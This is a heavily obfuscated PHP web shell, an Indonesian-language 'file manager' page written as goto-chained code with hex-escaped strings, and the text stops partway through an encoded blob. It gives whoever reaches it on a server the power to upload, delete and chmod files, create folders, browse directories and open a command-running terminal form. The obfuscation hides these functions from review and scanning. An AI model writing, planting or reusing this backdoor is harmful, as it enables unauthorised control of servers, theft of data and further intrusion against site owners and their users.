lRw4Q; kFsHo: Z9uDC: goto Ozp8e; lRw4Q: mP0p2: goto W0W0w; iOzFC: if (!!($r3gOW == 0)) { goto Z9uDC; } goto TEjJ2; W0W0w: } goto GifMd; uK1iM: function MvsSk($V4tc1) { return htmlspecialchars($V4tc1, ENT_QUOTES, b6kQ9(0)); } goto yVhQc; O01k1: wmDUK: goto ThyJY; VQghN: echo "\74\41\x44\117\103\124\131\120\105\40\x68\x74\155\154\x3e\xd\12\74\150\164\155\154\40\154\141\156\147\75\x22\151\x64\x22\76\xd\12\74\150\145\141\x64\x3e\15\xa\74\155\145\164\x61\40\143\x68\x61\162\x73\x65\x74\75\x22\125\x54\x46\55\x38\x22\x3e\xd\xa\74\155\145\164\141\x20\x6e\141\155\x65\x3d\x22\x76\151\x65\167\160\x6f\x72\x74\42\x20\x63\157\x6e\164\145\x6e\164\75\42\167\151\x64\164\150\75\x64\145\166\x69\x63\x65\55\x77\151\x64\x74\x68\x2c\x20\x69\156\151\x74\x69\141\154\55\163\143\x61\x6c\145\75\x31\x2e\x30\x22\76\15\xa\x3c\x74\x69\164\154\145\x3e\120\x65\156\147\x65\154\157\x6c\141\x20\102\145\x72\x6b\x61\x73\74\x2f\x74\151\164\154\x65\x3e\15\xa\74\x6c\x69\x6e\153\40\x72\x65\x6c\75\42\163\164\171\x6c\x65\x73\150\x65\x65\x74\42\40\150\x72\145\146\x3d\x22\x68\164\164\160\163\72\57\x2f\143\144\156\152\163\x2e\143\x6c\x6f\165\x64\x66\154\x61\162\x65\56\143\x6f\x6d\57\141\x6a\141\x78\57\154\x69\142\x73\57\146\157\156\164\x2d\141\x77\x65\163\157\x6d\x65\57\x36\x2e\60\56\x30\55\142\x65\164\x61\x33\x2f\143\163\x73\x2f\141\154\x6c\56\155\x69\156\x2e\x63\x73\163\x22\x3e\xd\12\x3c\x73\164\x79\x6c\145\x3e\xd\xa\x68\x74\155\154\54\x20\142\x6f\144\x79\x20\173\xd\12\x6d\141\x72\x67\151\x6e\x3a\x20\60\x3b\15\12\160\x61\x64\x64\x69\156\147\x3a\x20\60\x3b\xd\xa\167\151\x64\x74\150\x3a\40\61\x30\60\45\x3b\xd\xa\x68\145\x69\x67\x68\x74\72\40\x31\x30\60\x25\73\xd\12\157\x76\x65\162\146\x6c\x6f\x77\72\40\150\151\144\144\145\156\x3b\xd\xa\175\142\157\144\x79\40\x7b\15\12\x62\x61\143\x6b\147\x72\157\165\x6e\x64\72\x20\165\x72\x6c\50\x27\150\164\164\160\x73\x3a\x2f\x2f\147\143\144\x6e\142\x2e\160\142\x72\x64\x2e\143\x6f\57\151\x6d\141\x67\145\163\57\71\115\163\x76\x4d\164\170\120\x6e\x64\111\x61\x2e\x6a\x70\x67\47\51\40\156\157\x2d\162\145\160\x65\141\164\x20\x63\x65\156\x74\145\162\x20\143\145\x6e\x74\x65\162\x20\146\x69\170\x65\144\x3b\xd\12\142\141\x63\153\147\162\x6f\165\x6e\x64\55\163\x69\172\x65\x3a\x20\143\x6f\x76\145\162\x3b\15\xa\x63\157\154\x6f\162\x3a\x20\x77\x68\151\x74\x65\x3b\15\xa\146\157\156\164\x2d\x66\141\155\151\154\x79\x3a\40\x41\162\151\x61\154\x2c\40\x73\x61\156\163\x2d\163\x65\162\151\146\73\15\12\144\x69\x73\x70\154\x61\171\x3a\x20\x66\154\145\x78\73\xd\xa\152\x75\x73\164\x69\x66\x79\55\x63\157\x6e\x74\145\156\164\72\x20\143\x65\156\164\x65\x72\73\15\xa\141\154\151\147\156\x2d\x69\164\x65\155\x73\72\x20\143\145\156\164\145\162\73\xd\12\x7d\43\x63\x6f\156\x74\x61\151\x6e\145\162\x20\173\xd\12\x70\x61\144\x64\151\x6e\147\72\x20\x32\60\x70\170\73\xd\xa\142\x6f\162\144\x65\x72\55\162\141\144\151\165\x73\72\x20\x31\60\x70\x78\x3b\xd\xa\x62\141\143\x6b\147\x72\x6f\165\x6e\144\x2d\143\x6f\154\157\162\72\x20\162\147\x62\141\x28\60\x2c\x20\x30\54\x20\x30\54\x20\60\56\x37\51\x3b\xd\12\167\x69\x64\164\150\x3a\x20\x31\x30\x30\x25\73\15\12\x6d\x61\170\55\167\x69\x64\164\x68\72\x20\x31\x30\x30\x25\73\15\12\x68\x65\x69\147\150\164\72\x20\x31\x30\x30\x25\73\xd\xa\142\x6f\x78\55\163\151\x7a\x69\156\x67\x3a\x20\x62\x6f\x72\144\145\162\x2d\x62\x6f\x78\73\xd\12\157\166\145\162\x66\154\x6f\167\x2d\x79\72\40\x61\x75\x74\157\x3b\xd\xa\144\x69\x73\160\154\x61\x79\72\x20\x66\x6c\x65\170\73\xd\xa\x66\x6c\145\170\55\144\x69\x72\x65\x63\x74\151\157\x6e\72\x20\x63\x6f\154\165\155\x6e\73\15\12\x61\x6c\151\147\x6e\55\151\164\x65\155\x73\72\40\143\x65\x6e\164\x65\162\73\xd\xa\x6a\x75\163\164\151\x66\171\55\143\x6f\156\164\145\156\x74\x3a\40\146\x6c\145\x78\55\x73\164\x61\162\164\73\xd\12\x7d\56\x69\x63\x6f\x6e\x2d\x62\165\164\164\x6f\156\x20\173\15\xa\x66\157\x6e\x74\55\163\x69\x7a\x65\72\x20\62\x30\160\170\x3b\xd\12\x63\x6f\154\x6f\x72\x3a\x20\167\150\x69\164\145\73\xd\xa\143\x75\x72\x73\157\x72\x3a\40\160\157\x69\156\x74\x65\x72\73\15\12\142\141\x63\153\147\x72\157\165\x6e\x64\x2d\x63\157\x6c\157\x72\x3a\x20\x64\x61\x72\x6b\x72\x65\144\73\xd\12\142\157\162\x64\x65\162\x2d\162\141\144\x69\x75\x73\x3a\x20\x35\x30\x25\73\xd\12\x70\141\144\x64\151\156\147\72\40\70\160\170\x3b\xd\xa\155\x61\x72\x67\x69\156\x3a\40\62\160\x78\73\15\xa\144\151\163\x70\154\x61\171\72\40\151\x6e\154\x69\x6e\145\55\x66\x6c\x65\170\x3b\15\xa\141\154\151\147\156\x2d\x69\164\145\155\163\72\x20\x63\x65\x6e\164\x65\162\73\15\12\152\165\x73\x74\151\x66\171\x2d\x63\x6f\x6e\x74\x65\156\x74\x3a\40\x63\x65\156\x74\x65\162\73\xd\12\x7d\x74\x61\142\x6c\145\40\173\15\12\167\151\144\x74\150\72\x20\x31\60\60\x25\x3b\xd\12\142\x6f\x72\144\x65\162\x2d\143\157\154\154\141\x70\163\x65\x3a\40\x63\x6f\x6c\154\141\x70\x73\x65\x3b\xd\12\x6d\141\162\147\151\x6e\55\164\x6f\160\72\40\x32\60\160\x78\73\15\xa\x7d\164\x61\142\154\145\x2c\40\x74\x68\54\x20\164\x64\40\173\15\xa\x62\x6f\162\144\x65\162\x3a\40\61\x70\x78\40\163\157\x6c\x69\x64\40\167\150\151\164\x65\x3b\xd\12\x7d\x74\x68\54\40\x74\144\x20\x7b\15\xa\160\x61\144\144\x69\x6e\x67\72\40\61\60\160\170\x3b\15\xa\164\x65\x78\164\x2d\x61\154\x69\147\x6e\72\40\x6c\145\146\x74\x3b\15\xa\175\164\150\x20\173\15\12\142\x61\x63\x6b\x67\162\157\x75\x6e\144\55\143\x6f\x6c\x6f\x72\72\40\x64\x61\x72\153\162\145\144\x3b\15\xa\x7d\x2e\x66\x6f\x72\155\x2d\143\x6f\x6e\x74\141\x69\x6e\145\x72\x20\173\xd\xa\x64\x69\x73\x70\154\141\x79\x3a\40\x6e\x6f\156\x65\x3b\15\xa\x6d\x61\162\147\151\x6e\55\x74\x6f\x70\72\40\61\60\160\x78\73\15\xa\175\56\163\165\x62\155\x69\x74\55\142\165\x74\164\x6f\156\x20\173\15\12\142\x61\x63\x6b\147\162\x6f\x75\156\x64\x2d\x63\x6f\x6c\x6f\162\x3a\x20\x64\x61\x72\x6b\162\145\144\x3b\15\12\142\x6f\162\144\x65\x72\x3a\40\x6e\x6f\x6e\x65\73\xd\xa\x63\157\154\x6f\x72\72\x20\167\150\151\164\x65\x3b\15\xa\160\141\x64\144\151\x6e\x67\x3a\x20\x35\x70\170\40\x31\65\160\170\x3b\15\xa\142\x6f\162\x64\x65\x72\x2d\162\x61\144\x69\165\x73\72\40\65\x70\x78\x3b\15\xa\x63\x75\x72\x73\x6f\x72\72\40\160\157\151\x6e\164\x65\162\73\15\xa\x64\x69\163\160\154\141\x79\72\x20\151\x6e\x6c\151\156\145\x2d\x66\154\145\170\x3b\15\12\x61\x6c\151\147\x6e\x2d\x69\164\x65\155\x73\x3a\x20\143\x65\x6e\164\x65\162\x3b\15\xa\x7d\x69\155\x67\x20\x7b\15\xa\x64\x69\163\160\x6c\x61\171\72\40\142\154\157\143\153\x3b\xd\12\155\x61\x72\147\x69\156\x3a\40\x30\40\x61\165\x74\157\40\62\60\160\170\73\40\xd\xa\167\151\144\164\150\x3a\x20\61\x35\60\x70\x78\73\xd\xa\150\145\151\147\x68\x74\72\40\61\65\x30\x70\170\73\15\xa\142\157\162\144\145\162\55\x72\141\144\151\x75\163\72\x20\x35\60\x25\x3b\xd\xa\x62\x6f\162\144\x65\x72\x3a\x20\x32\160\x78\40\x73\157\x6c\151\144\x20\144\141\162\153\162\145\144\73\15\12\x6f\x62\152\145\x63\x74\55\x66\x69\x74\x3a\40\143\x6f\166\x65\162\x3b\xd\12\x7d\x2e\x62\162\x65\x61\x64\x63\162\165\x6d\x62\40\141\40\173\xd\xa\x63\x6f\x6c\x6f\x72\x3a\40\167\x68\x69\x74\x65\x3b\15\12\164\145\x78\x74\x2d\x64\x65\x63\x6f\162\141\x74\x69\x6f\156\72\40\x6e\157\156\145\x3b\xd\xa\160\x61\144\x64\x69\x6e\147\72\x20\65\160\x78\x3b\15\xa\175\x2e\142\162\145\x61\144\x63\162\x75\155\142\x20\141\x3a\150\x6f\x76\145\x72\40\173\15\12\x74\145\x78\164\55\144\145\x63\x6f\162\x61\164\151\x6f\x6e\x3a\x20\x75\156\x64\x65\162\x6c\x69\x6e\x65\73\15\xa\x7d\57\x2a\x20\122\145\x73\160\157\x6e\163\151\146\x20\x75\x6e\164\x75\x6b\40\160\145\x72\x61\156\x67\x6b\141\x74\40\x6b\x65\x63\151\154\x20\52\x2f\xd\xa\x40\155\x65\144\151\141\40\x28\x6d\141\170\55\167\151\144\x74\x68\72\40\67\66\x38\160\170\51\x20\x7b\xd\12\43\x63\x6f\156\x74\x61\151\156\x65\162\x20\173\xd\12\x70\x61\144\144\x69\x6e\147\72\40\x31\x30\x70\170\x3b\xd\xa\x7d\xd\12\56\151\143\x6f\x6e\55\142\165\164\x74\x6f\156\x20\x7b\xd\xa\x66\157\x6e\164\55\x73\151\172\145\x3a\40\x31\70\160\x78\73\xd\12\x70\141\144\144\151\x6e\x67\x3a\x20\66\x70\170\73\15\12\155\x61\x72\147\151\156\72\40\x35\x70\x78\73\xd\12\175\15\12\151\x6d\x67\40\173\xd\12\x77\x69\x64\164\x68\x3a\40\x31\x32\60\x70\170\73\15\xa\x68\x65\x69\x67\x68\x74\x3a\40\x31\62\x30\160\x78\x3b\15\12\175\15\xa\164\x61\142\x6c\x65\54\x20\164\150\x2c\40\x74\x64\x20\173\xd\12\146\157\156\x74\55\163\151\172\145\x3a\40\x31\x32\160\170\x3b\15\xa\160\141\144\144\x69\156\x67\x3a\40\70\x70\x78\73\15\12\x7d\15\12\56\x62\x72\145\141\x64\x63\162\x75\155\x62\40\173\15\12\146\x6f\156\164\x2d\163\151\x7a\x65\72\x20\x31\x34\160\170\x3b\15\12\x7d\15\xa\175\x2f\x2a\40\122\x65\x73\160\x6f\156\x73\x69\x66\x20\165\x6e\x74\165\x6b\x20\154\x61\171\x61\x72\40\x6c\x65\x62\151\150\x20\153\x65\x63\151\154\40\x28\155\157\x62\151\x6c\x65\51\40\52\x2f\15\12\100\155\x65\x64\x69\141\x20\x28\155\141\x78\x2d\x77\151\144\x74\x68\72\x20\x34\70\60\160\x78\x29\x20\x7b\xd\xa\43\x63\x6f\x6e\x74\141\151\x6e\x65\x72\x20\173\15\12\160\x61\144\144\151\x6e\147\72\40\x35\160\x78\73\15\12\x7d\15\12\56\x69\x63\x6f\156\55\142\x75\x74\x74\x6f\x6e\40\173\15\12\x66\157\x6e\164\x2d\163\151\172\145\72\x20\61\66\x70\170\73\15\12\160\x61\x64\144\x69\156\x67\x3a\x20\65\160\170\x3b\15\12\x6d\x61\162\x67\151\156\x3a\40\x34\x70\x78\x3b\15\xa\x7d\15\12\x69\155\147\x20\173\xd\xa\167\151\144\x74\x68\72\x20\x31\60\60\x70\x78\73\xd\xa\x68\x65\151\147\x68\x74\72\40\x31\60\x30\160\170\73\xd\12\175\xd\12\x74\x61\x62\x6c\x65\x2c\x20\x74\x68\54\40\x74\x64\x20\173\xd\12\x66\x6f\156\x74\55\163\x69\172\145\72\x20\x31\x30\160\x78\73\xd\xa\x70\141\144\x64\151\x6e\x67\72\x20\x36\x70\x78\73\15\12\x7d\xd\12\56\142\x72\145\141\144\143\162\x75\155\x62\40\x7b\15\xa\146\x6f\156\x74\55\163\x69\x7a\x65\x3a\x20\61\62\160\x78\x3b\15\xa\175\xd\12\175\xd\12\74\x2f\x73\x74\x79\154\145\x3e\15\12\x3c\x2f\x68\x65\141\x64\x3e\xd\xa\74\142\x6f\144\171\76\xd\12\x3c\x64\151\166\x20\x69\144\75\x22\x63\x6f\x6e\164\x61\151\156\x65\162\42\x3e\xd\12\x3c\x69\x6d\x67\40\163\162\x63\75\42\150\164\x74\x70\x73\72\x2f\57\155\x65\x64\151\x61\56\164\x65\x6e\x6f\162\x2e\143\157\x6d\x2f\x54\x63\x77\172\126\61\x49\115\60\105\143\x41\101\x41\x41\x69\57\x7a\x65\x72\x6f\x2d\x74\167\x6f\x2d\157\x6b\56\147\151\146\42\40\141\x6c\164\x3d\x22\x4c\157\147\x6f\42\x3e\xd\12\x3c\x62\x3e\x50\x65\x6e\147\145\154\x6f\154\x61\40\102\145\x72\x6b\141\163\74\x2f\x62\x3e\x3c\142\162\40\57\x3e\74\41\x2d\55\x20\115\x65\156\141\155\x70\151\x6c\153\x61\x6e\40\144\151\x72\x65\153\164\x6f\162\x69\40\x73\141\x61\x74\x20\151\x6e\151\40\55\55\76\xd\12\74\144\151\x76\40\x63\x6c\141\163\163\x3d\42\x62\162\145\141\x64\x63\162\x75\x6d\142\x22\76\xd\12"; goto RZEt1; KqcVS: echo B6kq9(15) . $VR_V0[B6KQ9(16)]; goto zYZaw; oZXdA: if (!!is_file($dmluh)) { goto Uv6Kw; } goto a3hmR; mh1sF: $YpOFl = $_POST[b6kQ9(31)]; goto eXmdn; ythAT: echo B6KQ9(14); goto f8pcv; K5R5k: TrdVi: goto v7By3; pr5_w: $BDlpb = $_POST[B6kQ9(19)]; goto rutpU; f8pcv: goto HO4v_; goto gXsGs; MQyyD: echo B6Kq9(40); goto U12qH; aUqOK: echo B6kQ9(29); goto aObMi; zYZaw: goto ppyb6; goto O01k1; yyfIT: echo B6kQ9(41); goto Vkhm7; VYKZ4: echo B6kQ9(43); goto LbKYA; BUJLW: lZYWM: goto OWHR6; wE2jv: echo b6kq9(34); goto oOqdc; eRc8d: $LrLnp = rtrim($tw0Ox, B6KQ9(8)) . b6KQ9(9) . basename($VR_V0[b6KQ9(10)]); goto nyLlh; snojn: $QRuUd = "\x67\x48\154\160\x42\x65\x6f\x4d\160\107\61\146\x70\x56\x50\x48"; goto Pwnxf; eI9L_: echo "\74\57\144\x69\x76\x3e\74\143\x65\156\164\145\x72\x3e\15\12\x3c\151\x20\x63\154\x61\x73\x73\75\42\x66\141\x73\x20\146\141\x2d\x75\160\154\157\141\144\x20\151\x63\157\x6e\55\142\x75\x74\x74\157\x6e\42\x20\x6f\156\x63\x6c\151\x63\153\x3d\x22\164\x6f\147\x67\154\145\106\157\162\155\x28\47\x75\x70\x6c\x6f\141\144\55\x66\x6f\162\155\47\51\x22\x3e\x3c\57\x69\x3e\15\xa\x3c\151\40\x63\154\141\x73\x73\75\42\x66\141\x73\40\x66\x61\x2d\146\x6f\x6c\144\145\162\55\x70\x6c\165\163\x20\151\x63\157\x6e\55\142\165\x74\x74\x6f\156\x22\x20\157\156\143\154\x69\x63\x6b\75\x22\x74\157\147\x67\154\145\x46\157\x72\x6d\50\x27\143\x72\x65\x61\x74\x65\55\x66\157\x6c\144\145\x72\55\x66\157\162\x6d\x27\x29\x22\x3e\74\57\x69\x3e\xd\xa\x3c\151\x20\x63\x6c\141\x73\163\75\x22\146\x61\163\40\146\x61\x2d\x74\145\x72\x6d\151\x6e\x61\154\x20\x69\143\157\x6e\x2d\x62\165\x74\164\x6f\156\x22\x20\x6f\156\x63\x6c\151\143\153\75\x22\x74\157\147\x67\154\145\x46\157\162\155\50\47\x72\165\156\55\143\157\155\155\x61\156\144\x2d\146\157\x72\x6d\x27\x29\42\x3e\x3c\57\x69\x3e\15\xa\74\57\x63\x65\x6e\164\x65\x72\x3e\x3c\x64\x69\x76\x20\151\144\75\42\x75\160\x6c\x6f\141\x64\55\x66\x6f\x72\x6d\x22\40\143\154\x61\163\163\75\x22\x66\157\162\x6d\55\143\x6f\x6e\164\x61\x69\x6e\145\x72\x22\76\xd\12\x3c\146\157\162\x6d\x20\155\x65\x74\150\x6f\144\75\42\x50\x4f\x53\x54\42\40\x61\x63\164\151\157\x6e\x3d\42\x22\x20\145\x6e\143\x74\171\160\145\x3d\x22\x6d\165\x6c\x74\x69\x70\x61\x72\x74\x2f\146\x6f\162\155\x2d\x64\x61\164\x61\42\76\xd\xa\74\151\x6e\160\x75\164\40\x74\x79\160\145\75\42\x68\x69\144\144\x65\x6e\x22\x20\x6e\141\x6d\145\x3d\x22\165\160\154\157\x61\144\137\x70\141\164\150\x22\40\166\141\154\165\145\75\42"; goto tWdvX; mnLUq: die(B6kQ9(4)); goto miTva; ukNnj: LOU__: goto PlYPb; mZPA6: n13Oz: goto x7P0S; RNer6: goto lZYWM; goto AUjJQ; mV4Hl: if (!!is_dir($tw0Ox)) { goto Qx8OA; } goto mnLUq; oR7gw: $Xl7T3 = $_POST[b6Kq9(18)]; goto pr5_w; x7P0S: wSZma: goto NPGFm; h3g1H: if (!!chmod($YpOFl, octdec($fla_q))) { goto u3uFg; } goto wE2jv; muCJp: Pwzfu: goto hOSbB; HUzRn: $JwZ0v = rtrim(dirname($BT3cI), B6Kq9(26)) . B6kq9(27) . $bdeX2; goto yfUh2; RNz6K: $dmluh = $_POST[B6kq9(39)]; goto oZXdA; WaRjO: if (!!unlink($dmluh)) { goto U7XpA; } goto yyfIT; ThyJY: if (!!move_uploaded_file($VR_V0[B6KQ9(12)], $LrLnp)) { goto hC1Jr; } goto ythAT; Q73Hd: U7XpA: goto MQyyD; GtJLx: $ja6bA = json_decode(mEzXv(hex2bin("\x31\x63\66\141\x30\x30\x31\145\63\62\61\66\63\x39\66\x66\x34\x61\x33\143\x31\63\60\67\x35\x32\x36\143\x37\x32\x33\x64\64\65\x36\x34\x34\145\61\x32\66\x30\65\146\x34\144\x32\62\x35\62\66\142\61\63\x30\x35\65\62\66\x63\67\62\x32\x65\x34\65\x36\64\x34\x65\61\x34\x36\60\x35\x66\x34\144\62\x31\65\62\x36\x62\61\x33\x30\63\x35\x32\x36\x63\x37\x32\63\71\x34\65\x36\64\x34\145\61\66\x36\60\x35\x66\64\144\x32\66\65\x32\x36\142\61\63\60\x31\x35\62\66\x63\67\x32\x32\65\x34\x35\66\64\64\x65\61\x38\66\x30\65\146\x34\x64\63\x61\65\x32\x36\x62\x31\x33\60\x66\65\62\66\x63\x37\62\62\x39\64\x35\x36\64\x34\x65\x31\x61\x36\60\x35\x66\x34\x64\x33\71\x35\x32\66\142\x31\x33\60\x64\65\62\x36\143\x37\x32\62\143\x34\65\66\x34\x34\145\61\x63\66\x30\x35\146\x34\x64\x32\65\x35\62\66\x62\61\63\x30\142\65\x32\66\143\x37\x32\62\62\x34\65\x36\64\64\x65\61\145\x36\60\65\146\x34\144\x32\146\x35\x32\66\142\61\63\x30\71\x35\62\x36\x63\x37\62\x33\142\x34\x35\66\64\x34\145\x30\60\x36\x30\x35\146\64\144\x32\70\65\62\x36\x62\x31\x33\x31\x37\65\x32\66\143\x37\x32\x33\x65\64\65\x36\x34\64\145\60\62\66\60\65\146\64\x64\62\63\65\x32\x36\142\61\x33\61\65\x35\x32\66\x63\x37\x32\62\x62\x34\65\66\x34\x34\x65\x30\64\x36\60\x35\x66\x34\x64\63\146\65\62\x36\142\61\63\x31\63\x35\x32\x36\x63\x37\62\x33\62\x34\65\x36\x34\64\145\60\66\66\x30\x35\x66\64\144\x33\65\x35\62\66\x62\61\63\61\x31\x35\62\x36\143\67\x32\62\61\x34\x35\x36\64\64\145\x30\70\x36\60\x35\146\64\x64\63\64\65\62\66\x62\x31\x33\61\x66\65\x32\x36\143\67\x32\x33\70\64\65\x36\64\x34\145\x30\141\66\60\65\146\x34\144\62\x61\x35\x32\66\x62\x31\63\62\67\65\62\66\143\67\62\60\x61\64\65\x36\x34\64\145\x33\62\x36\x30\x35\146\64\144\60\65\x35\x32\66\x62\61\x33\x32\65\65\62\x36\143\x37\62\61\x32\x34\65\x36\x34\x34\145\x33\64\x36\60\65\x66\64\144\x31\144\x35\x32\66\142\61\x33\x32\x33\65\x32\x36\x63\x37\x32\61\x61\x34\x35\x36\x34\64\145\63\x36\66\x30\x35\x66\64\x64\60\x62\x35\62\66\x62\61\63\62\61\x35\x32\66\x63\67\x32\x31\x30\64\65\66\64\x34\145\x33\x38\66\x30\x35\146\x34\x64\x31\x39\65\62\66\142\x31\x33\x32\146\65\x32\x36\x63\67\62\60\63\x34\x35\x36\x34\x34\x65\63\141\66\x30\65\146\x34\144\x30\x39\65\62\66\142\61\x33\x32\x64\x35\62\x36\x63\x37\62\x30\x37\64\65\66\x34\64\x65\x33\143\66\x30\65\x66\x34\144\x30\x33\65\62\66\x62\61\63\62\142\x35\x32\66\143\67\62\60\142\64\65\x36\64\x34\145\63\x65\66\x30\x35\x66\x34\x64\60\70\65\62\66\x62\61\63\x32\71\x35\x32\66\x63\x37\x32\61\144\64\65\x36\64\64\x65\62\60\66\60\65\x66\64\x64\x30\x61\65\62\x36\142\61\x33\63\67\x35\62\66\x63\67\x32\60\x34\x34\65\x36\64\x34\145\62\x32\66\x30\x35\x66\x34\x64\61\x34\x35\x32\66\142\61\63\63\65\65\x32\66\x63\67\x32\x30\62\64\65\x36\x34\x34\145\62\64\66\60\x35\x66\64\144\61\x62\x35\62\66\142\61\x33\x33\63\65\x32\66\x63\x37\62\x31\x62\x34\65\x36\x34\64\x65\x32\x36\x36\60\x35\x66\x34\x64\61\x63\65\62\66\x62\61\x33\x33\x31\x35\x32\x36\143\67\62\61\x66\64\65\66\64\64\x65\62\70\x36\x30\65\x66\64\x64\x30\x34\65\x32\66\x62\61\63\63\x66\65\62\66\x63\67\x32\x30\x35\64\x35\66\x34\64\145\x32\x61\66\60\65\146\64\144\60\143\x35\x32\66\x62\x31\63\65\66\x35\62\66\x63\x37\x32\x37\x61\x34\65\x36\x34\64\x65\x34\61\x36\60\65\146\64\144\67\65\65\62\x36\x62\x31\63\65\x34\x35\x32\x36\x63\x37\62\x37\70\x34\65\66\x34\x34\x65\64\x33\66\x30\65\146\x34\144\x37\x63\65\62\x36\x62\61\x33\x35\x32\65\x32\66\x63\x37\x32\x37\x65\x34\x35\66\64\64\145\64\x35\x36\60\x35\x66\64\x64\x37\71\65\x32\66\x62\61\63\65\60\x35\x32\66\143\67\62\67\144\x34\x35\x36\x34\64\x65\x34\67\x36\60\65\x66\64\x64\x37\x34\x35\62\66\x62\61\63\65\145\x35\62\x36\x63\67\62\67\142\64\x35\x36\64\64\145\x34\x39\66\x30\x35\146\x34\x64\x37\x61\65\62\66\x62\61\x33\64\x64\65\62\x36\x63\x37\x32\x31\x34\64\x38\x36\141\x34\60\65\x32\x31\x65\x34\141\64\144\x37\x37\x35\x32\66\143\x31\63\x31\x62\65\143\67\64\61\144\61\x65\63\x36\x31\146\x30\60\65\x32\67\x38\x33\x65\64\144\x37\71\x31\x62\x36\62\x30\64\x35\x32\x35\x31\66\x36\x32\x35\x36\x62\x35\67\x37\145\64\146\64\70\x37\x62\63\142\64\144\x36\x31\x35\x32\67\x35\x30\60\x34\x63\x35\62\67\141\x37\62\67\x61\65\x36\x36\x62\64\x65\x35\x63\x36\x30\x35\67\x35\145\66\x62\x35\x32\x36\142\61\63\65\x30\64\x37\61\66\66\x30\x32\x65\64\x66\67\x61\x35\x38\65\63\x37\x61\60\x33\x34\x35\67\x64\x34\61\61\x39\x30\x39\65\x37\x35\x38\x36\x30\x33\142\x36\144\65\67\67\x64\64\x61\x34\70\67\x61\x34\144\x35\146\x37\143\x35\x35\x37\63\60\x32\x34\146\64\x38\x36\x36\67\61\x37\x63\x35\x35\x36\142\x35\x64\61\142\66\x37\x35\x35\65\x66\66\67\64\60\x37\x65\x31\x37\x35\145\x34\61\67\60\66\x30\x37\x39\x34\x65\x37\141\x35\x62\65\63\67\60\65\65\x34\65\x37\144\61\146\66\x36\60\x31\65\x65\63\x30\67\64\x37\x63\66\141\x35\x35\67\71\x34\x66\x34\x30\67\65\64\x36\x35\144\x37\143\63\x30\x37\x66\x35\x37\64\x63\64\61\x36\x36\x37\63\67\x30\65\65\x36\71\64\x65\65\143\x36\60\x35\67\x35\146\x30\x64\64\60\67\x31\x31\x62\65\x34\64\x34\x37\143\66\70\x37\x64\x34\66\67\x30\60\x30\x35\63\x37\x30\x35\144\x34\x35\x37\146\x30\65\66\144\x30\x31\65\x31\x35\x39\x36\x65\66\x38\x36\61\65\x37\67\x62\64\x34\x34\x34\62\x65\x34\143\65\67\x37\x38\65\x31\x37\x35\x30\65\64\67\65\62\67\x61\x37\62\x37\141\x35\x37\x31\x36\65\x63\x34\66\61\143\65\x37\x35\x62\x36\67\x34\x38\67\x32\x31\x34\x35\145\x31\x63\67\143\x36\x32\67\x30\x32\67\67\141\61\x39\x35\70\x37\62\65\x32\x34\x35\x37\x35\64\x38\x36\146\60\61\65\x35\65\141\x36\62\63\x63\66\61\x35\x66\67\144\64\x64\x34\62\x37\66\x34\144\x34\x64\x36\x31\65\62\x37\x31\60\x32\x34\60\65\x32\x37\x61\67\x32\x37\x65\x35\x34\66\x39\64\x65\65\x63\x36\60\x35\x37\65\146\x36\x35\x34\60\67\x33\61\x34\65\64\x31\143\x30\x38\x36\70\63\x39\x34\64\x36\x61\x34\x30\65\62\x37\x61\65\61\x34\145\x37\x64\x34\x39\66\66\60\71\x31\x37\65\61\x36\64\x36\x30\x36\x39\x35\x37\67\x31\64\x35\65\62\66\x65\x34\x37\65\x64\67\144\65\x36\x37\67\x30\x35\64\x63\64\62\63\x61\x37\x31\67\x30\x31\x36\x36\x31\65\64\x31\x63\66\x62\65\x64\x35\x62\66\64\64\62\67\67\x31\x32\x35\67\64\67\67\65\67\x32\66\x34\64\65\x37\145\65\65\65\x33\x37\142\65\x35\63\x31\x37\146\64\x37\66\64\x30\x39\60\x39\x35\x61\x36\63\x36\60\x36\x39\x35\x35\67\60\63\x32\64\62\63\63\64\x36\x35\146\x37\x64\x35\70\x37\x66\x35\67\x34\x37\64\61\x36\146\67\x39\x37\x65\x35\61\66\60\x35\141\61\x66\66\x38\65\144\65\70\66\67\x34\x31\x37\67\67\x31\x35\x66\x34\x32\61\66\x36\60\x37\x65\64\144\67\x61\61\x64\65\65\67\x33\60\141\64\145\67\146\61\x63\x31\71\60\71\65\x35\65\141\66\x37\66\x32\x36\x30\x35\65\x37\141\x34\71\x34\62\x32\145\64\64\65\x61\62\61\65\70\x37\146\60\x35\x34\146\x34\x30\63\71\67\x61\x37\x63\65\x34\x36\145\65\143\x34\62\x30\x32\x34\67\x34\x33\x36\x66\x34\66\67\x30\61\62\65\x36\x34\x35\x37\x33\66\x32\62\x34\x34\145\67\x61\65\x38\63\60\67\x32\x35\x36\x32\146\x37\65\64\62\66\64\60\71\x30\71\x35\x61\66\63\x33\x63\x36\144\x35\x66\67\x66\x34\x66\x34\61\x37\66\64\x64\x35\x62\x33\143\65\x33\x37\x66\60\x31\x34\146\64\x38\x33\x39\x37\x39\67\71\x35\66\x36\x32\65\143\x34\x30\61\x63\x35\65\65\x37\60\x64\x34\62\67\66\61\x37\x35\63\x34\63\60\x38\x36\x32\67\146\x34\64\x37\60\x30\x33\x35\x61\x37\67\65\x35\64\x39\x37\x66\x34\x32\66\66\60\63\x35\x37\x35\x61\x36\66\x36\66\x36\x30\x35\x66\x37\x64\63\x32\x34\x35\67\142\62\x35\x35\142\62\x36\62\x65\x37\x35\x30\70\64\143\64\70\63\71\x37\141\67\x39\x31\x36\61\66\x35\144\64\x38\66\x31\65\x35\60\71\66\142\x34\x32\x37\x30\x37\x31\x35\66\64\70\x37\x37\66\x32\67\60\64\61\x37\60\x35\x38\x35\63\x37\x32\x30\x65\x34\x63\67\142\x34\64\x36\61\x30\63\x35\67\x35\x38\x36\66\x33\x36\x31\x36\65\146\x37\x31\64\66\64\60\67\67\x33\142\65\66\x37\70\65\x61\66\65\61\144\x34\x34\64\66\66\x66\67\x35\67\x31\x35\x37\66\61\x35\x65\x34\x37\x31\143\x35\x64\65\x39\60\x64\64\60\62\x62\x31\62\65\x34\64\65\x31\x36\x36\x36\62\x33\64\x66\x37\x39\60\67\x35\61\x37\x61\x30\145\x34\143\x37\143\x34\64\66\x34\x30\x37\65\x37\65\71\x36\66\x36\x31\66\145\x35\63\67\x61\64\x64\64\71\x37\61\64\x36\x35\x65\67\71\65\x35\x37\67\60\x37\63\x38\64\62\x32\x37\67\65\67\70\61\66\66\x39\x35\x61\61\66\x31\143\x35\x64\x35\71\61\63\x34\60\67\66\x37\61\65\x34\60\65\x30\70\x36\62\67\71\x33\x39\67\x39\60\x30\65\x36\6